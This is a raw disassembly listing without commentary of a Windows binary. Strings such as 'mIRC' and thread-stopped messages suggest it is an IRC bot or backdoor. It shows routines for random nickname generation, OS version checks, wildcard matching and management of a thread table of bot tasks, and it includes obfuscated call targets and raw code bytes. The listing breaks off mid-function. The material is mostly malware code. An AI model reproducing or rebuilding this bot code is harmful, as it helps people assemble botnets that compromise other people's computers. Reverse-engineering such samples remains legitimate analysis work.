loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E065Ah
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A0688h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 26A06FFh
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
